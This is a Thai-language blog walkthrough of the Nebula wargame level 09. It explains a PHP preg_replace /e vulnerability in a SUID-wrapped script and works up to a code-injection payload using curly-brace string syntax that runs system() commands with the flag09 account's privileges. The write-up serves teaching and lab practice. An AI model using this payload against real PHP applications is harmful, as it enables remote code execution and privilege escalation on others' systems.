Nebula เลเวล 09: มาลองแฮกช่องโหว่ใน PHP

Pichaya Morimoto
4 min readFeb 7, 2017

ของโปรดของหลาย ๆ คนมาละครับ PHP แต่ว่า การจะทำให้โจทย์ข้อนี้เป็นการยกระดับสิทธิ์ได้นั้น ก็มีการใช้ โปรแกรมเขียนด้วยภาษา C มาเป็น SUID wrapper ห่อการสั่งสคริปท์ PHP ให้ทำงานด้วยสิทธิ์อื่นอีกทีนั้นเอง จริง ๆ จะรันด้วย web server ใน user ที่เป็นสิทธิ์อื่นก็ได้

เหตุการณ์นี้ เวลาเราทำ pentest อาจเกิดได้จริงเช่น ถ้าเราสามารถแฮกเว็บ PHP ที่รันใน apache ได้ เราก็จะได้ webshell ในสิทธิ์ user นั้น ๆ โดย default จะรันด้วยสิทธิ์ user ชื่อ www-data หรือ apache แล้วแต่ package ของ Linux แต่ละ distro

ตัวอย่างของ Ubuntu 14.04 ไฟล์ /etc/apache2/envvars

export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data

จะเห็นว่า กำหนดไว้ว่า apache รันโดย user/group ชื่อ www-data แต่ ปัญหาคือ เราก็จะเห็นกันอยู่บ่อย ๆ ว่าบางครั้ง ผู้ดูแลระบบไปเปลี่ยนสิทธิ์ apache ให้รันเป็น root ด้วยเหตุผลอะไรก็แล้วแต่ เช่น server-side script ต้องมีการรันคำสั่งด้วยสิทธิ์ root หรือบางคนไปกำหนดให้ user www-data ไปรัน sudo ได้ พอเว็บโดนแฮก แฮกเกอร์ก็สามารถยกระดับสิทธิ์เป็น root ได้ครับ เพราะฉะนั้นเป็นสิ่งที่ไม่ควรทำ ถือช่องโหว่ของระบบจากการตั้งค่าไม่ปลอดภัยได้ครับ

เช่นเดียวกันกับ web hosting ถ้าเราไม่ได้ใช้ mod_ruid2 หรือ suphp หรือ suexec อาจทำให้ user คนนึง ไปเข้าถึงข้อมูลของ user อีกคนได้ เพราะ web server บนเครื่องเดียวกันปกติมันจะทำงานในสิทธิ์เดียวกัน เราก็สามารถเขียนโค้ดเว็บไป ดู/อ่าน ไฟล์ของคนอื่นได้ การแฮกแบบนี้ ศัพท์เทคนิคเราเรียกว่า horizontal privilege escalation เป็นการเข้าถึงข้อมูล user อื่นใน privilege เดียวกันนั้นเอง

ก็เหมือนเดิม login เข้า user level09 ด้วยรหัส level09 เข้าไปที่ /home/flag09/

$ ls -lha /home/flag09/
total 13K
drwxr-x--- 2 flag09 level09 98 Nov 20 2011 .
drwxr-xr-x 1 root root 100 Aug 27 2012 ..
-rw-r--r-- 1 flag09 flag09 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag09 flag09 3.3K May 18 2011 .bashrc
-rw-r--r-- 1 flag09 flag09 675 May 18 2011 .profile
-rwsr-x--- 1 flag09 level09 7.1K Nov 20 2011 flag09
-rw-r--r-- 1 root root 491 Nov 20 2011 flag09.php

จะเห็นว่า ข้อนี้ไม่มี .passwd ให้เราอ่าน แต่มีไฟล์ flag09 ที่มีการใส่ SUID bit ไว้โดยมีเจ้าของเป็น user flag09 ที่เราต้องการจะยกระดับสิทธิ์ไปให้มาแทนครับ ทีนี้มาลองดูกันว่าโค้ดของ flag09.php มีช่องโหว่อะไร

<?phpfunction spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents)
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>

จากโค้ดนี้สิ่งที่มันทำคือ รับค่า shell argument มาคือ ชื่อไฟล์ ($argv[1]) ส่งเข้าฟังก์ชัน markup() โดยฟังก์ชันนี้ไปเปิดไฟล์อ่านเนื้อหาไฟล์ ($filename) มาแล้วใช้ฟังก์ชัน preg_replace() ในการค้นหา pattern ในข้อความของไฟล์ว่ามี [ email <ชื่อเมล>] ไหม ถ้ามีให้เปลี่ยน “.” เป็น “dot” และ “@” เป็น “AT” แทน คือการป้องกันพวก web crawler มาไต่เจออีเมลเอาไปส่ง spam นั้นเอง ทดลองใช้ดูหน่อย

$ echo "[[email longcat@longcat.local]]" > /tmp/.flag09_test
$ /home/flag09/flag09 /tmp/.flag09_test blah
<longcat AT longcat dot local>

ขั้นแรก ผม ใส่ [[email longcat@longcat.local]] ที่จะใช้เป็น $argv[1] หรือ $filename เข้าไปในไฟล์ .flag09_test ก่อน จากนั้น ผมเอาโปรแกรมโจทย์ flag09 (ที่มันไปเรียก flag09.php) มาเปิดไฟล์ที่เราใส่ค่าเข้าไป ผลคือได้ <longcat AT longcat dot local> ออกมา (จะเห็นว่าผมใส่ shell argument อันที่สองไปว่า blah ตรงนี้ไม่มีอะไร มันรับค่าเข้าไปแต่ไม่ได้ใช้ทำอะไรนะครับ)

ช่องโหว่ในฟังก์ชัน preg_replace

ใครที่พอมีประสบการณ์แฮกเว็บ PHP มาถึงบรรทัดนี้ก็อาจจะร้องอ๋อ กันแล้ว สำหรับคนที่ไม่ทราบ ลองเปิด คู่มือฟังก์ชันนี้จากเว็บ php.net ดูได้ครับ

ฟังก์ชันนี้ใช้แบบนี้ preg_replace($pattern, $replacement, $string) โดย $pattern เป็น regex (regular expression) ที่ค้นหาสิ่งที่ต้องการ ใน $string ถ้าเจอก็จะเอาค่าใน $replacement ไปแทนที่นั้นเองเช่น

$ php -r 'echo preg_replace("[a]","b","aaa-bbb-ccc-ddd");'
bbb-bbb-ccc-ddd

จะเห็นว่า เมื่อเราใส่ $string เป็น ”aaa-bbb-ccc-ddd” แล้วใช้ $pattern เป็น [a] ในการหาตัว a ถ้าเจอตรงไหน ให้แทนที่ด้วย $replacement คือตัว b เราเลยได้ผลลัพธ์เป็น “bbb-bbb-ccc-ddd”

อีกสิ่งที่ควรรู้ไว้คือ $pattern ที่เราใช้ในฟังก์ชันนี้มันมีสิ่งที่เรียกว่า pattern modifier เช่นเราสามารถใส่ i เข้าไปข้างหลังให้ regex เป็น “/[a]/i” ทำให้ ตัว a ไปค้นพบ A ตัวพิมพ์ใหญ่เจอด้วย pattern modifier นี้คือ ignore case นั้นเอง

$ php -r 'echo preg_replace("/[a]/i","b","aaa-bbb-ccc-ddd-AAA");'
bbb-bbb-ccc-ddd-bbb

ปัญหาทางด้านความปลอดภัย ที่อาจเกิดขึ้นได้อยู่ที่ pattern modifier ตัวนึงคือ e ย่อมาจาก evaluate หรือ eval นั้นเอง ถ้าใครเคยเขียน PHP อาจคุ้น ๆ กับฟังก์ชันชื่อ eval() กันมาบ้าง ฟังก์ชันนี้ทำหน้าที่ แปลง PHP โค้ดให้ทำงานเป็นคำสั่ง PHP หมายความว่า เมื่อ ค่าใน $replacement ถูกแทนที่ใน $string ที่ตรงตามเงื่อนไข $pattern เมื่อใด นำค่าใน $replacement + ค่าที่หาเจอใน $string นั้น ๆ มารันเป็นโค้ด PHP ด้วย!! ตัวอย่างเช่น

$ php -r 'echo preg_replace("/[a]/e","print(1);","aaa-bbb-ccc-ddd-AAA");'
111111-bbb-ccc-ddd-AAA

จะเห็นว่าเมื่อเราใส่ print(1) เข้าไปเป็น $replacement เมื่อ $pattern หา a เจอตรงไหน ก็เอา PHP code print(1) ไปรันตรงนั้นเลย รัน 3 ครั้งได้ผลออกมาเป็น 111 แล้วพอเราสั่ง echo ซ้ำ 111 อีกสามตัวเลยโผล่ออกมาพร้อมกับ $string ที่เหลือ เลยได้เป็น 111111 หกตัวครับ ปัญหาคือถ้าคำสั่งนี้มันไม่ใช่ print() เฉย ๆ แต่เป็น คำสั่งอันตราย เช่น อ่านไฟล์ เขียนไฟล์ หรือรัน OS command ในเครื่องได้ มันก็อาจทำให้เกิดปัญหาทางด้านความปลอดภัย ถ้ารับคำสั่งพวกนี้มาจาก user input ได้

คราวนี้ย้อนกลับไปดูที่โจทย์ใหม่

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

ปรากฏว่าจากโจทย์นี้มีการใช้ e เป็น pattern modifier จริงแต่ $replacement นั้นไม่ได้รับมาจาก user input ตรง ๆ แต่รับมาจาก backreference \2 (มีการ escape \ ด้วย \ เลยเห็นเป็น \\2) ที่ได้จากการค้นหา $pattern ‘/(\[email (.*)\])/e’ เจอใน $contents ที่เราใส่เข้ามา

เพื่อความง่ายในการอธิบายผมขอเปลี่ยนฟังก์ชัน spam() ที่แก้ . @ เป็นฟังก์ชัน print() ธรรมดาละกัน สมมุติผมใส่ [email xxx] เข้าไปจะได้

$ php -r 'preg_replace("/(\[email (.*)\])/e", "print(\"\\2\")", "[email xxx]");'
xxx

จะได้ xxx ออกมาเป็นผลจากการรัน print(“xxx”) เอา xxx ไปแทนที่ใน \\2 กรณีในการจะแฮกได้ คิดง่าย ๆ เราต้องใส่ $contents ให้เป็นโค้ด PHP เพิ่มเติมที่เราต้องการ ให้เว็บนั้น ๆ สั่งให้รันได้ ไหนลอง…

$ php -r 'preg_replace("/(\[email (.*)\])/e", "print(\"\\2\")", "[email system(id)]");'
system(id)

อ้าว! แทนที่เราจะรัน system(id) เป็นโค้ด PHP เรากลับได้ค่าเป็น string กลับมาแทน.. ทำไมละ? เหตุผลเพราะว่า โค้ดที่ถูกรันคือ

print("system(id)");

เราก็เลยได้ system(id) กลับมาแทน … งั้นลองทำ command injection หน่อยไหม?

คือผมจะลองใส่ “);system(“id เข้าไปเพื่อให้ได้เป็น

print("");system("id");

โดย concept แล้วควรจะได้ เพราะมันเอา string ไป replace แล้วรันเป็น PHP โค้ด

$ php -r 'preg_replace("/(\[email (.*)\])/e", "print(\"\\2\")", "[email \");system(id)]");'
");system("id

ก็ยังไม่ได้อีก!? เหตุผลเพราะว่า preg_replace จะทำการ escape ‘ “ \ \00 (null) ด้วย \ เสมอ จริง ๆ แล้ว กรณีนี้มันเลยจะได้

print("\");system(\"id");

ทำให้ก็ยังเป็นการ print() ออกมา ไม่ใช่การรันคำสั่ง system() อยู่ดี

ทริคที่จะทำให้แฮกได้คือต้องใช้ PHP String Complex (curly) syntax ปกติใน PHP เราสามารถใส่ { } เข้าไปใน string เพื่อแทนที่ตัวแปรต่าง ๆ ได้เช่น

$ php -r '$number = 1337; echo "number is {$number}";'
number is 1337

มากไปกว่านั้นเราสามารถใช้เรียกฟังก์ชันได้ด้วยเช่น

$ php -r 'echo "executing phpinfo ... {${phpinfo()}}";'
<ผลจากฟังก์ชัน phpinfo()>
executing phpinfo ...

ดังนั้นผมสามารถใช้วิธีเดียวกันนี้ในการ bypass การที่ preg_replace() มัน escape ‘ “ ได้โดยการใส่ $contents เป็น [email {${system(id)}}]

$ php -r 'preg_replace("/(\[email (.*)\])/e", "print(\"\\2\")", "[email {${system(id)}}]");'
<ผลจากการรันคำสั่ง id ในเป็น Linux shell command ผ่าน system()>

เอาละทีนี้เราก็ เอามา exploit ของจริงใน challenge ข้อนี้กัน!

$ id
uid=1010(level09) gid=1010(level09) groups=1010(level09)
$ echo '[[email {${system(id)}}]]' > /tmp/.flag09_exploit
$ /home/flag09/flag09 /tmp/.flag09_exploit blah
PHP Notice: Use of undefined constant id - assumed 'id' in /home/flag09/flag09.php(15) : regexp code on line 1
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
PHP Notice: Undefined variable: uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09) in /home/flag09/flag09.php(15) : regexp code on line 1
<>

จะเห็นว่าตอนเราพิมพ์คำสั่ง id เราเป็น uid=level09 แต่พอเรารันคำสั่ง id ใน system() ผ่าน flag09.php แล้วเราได้ euid ของ flag09 ติดมาด้วย แปลว่าเราสามารถ ยกระดับสิทธิ์ข้ามจาก level09 มาเป็น flag09 ได้จากการแฮกช่องโหว่นี้ สุดท้ายก็เปลี่ยนจาก id เป็น getflag เพื่อบรรลุจุดประสงค์ของข้อนี้ครับ

$ echo '[[email {${system(getflag)}}]]' > /tmp/.flag09_exploit
$ /home/flag09/flag09 /tmp/.flag09_exploit blah
PHP Notice: Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
<>

ทิ้งท้ายว่า เมื่อปี 2013 เคยมีคนใช้ช่องโหว่นี้ แฮกเว็บ ebay.com จนสามารถรันโค้ดอันตรายบนเครื่อง server ได้ (remote code execution) ดูได้จากวีดีโอนี้ครับ

ย้อนกลับไปดูตอนอื่น ๆ ในซีรี่ย์ Nebula ได้ที่นี่

--

--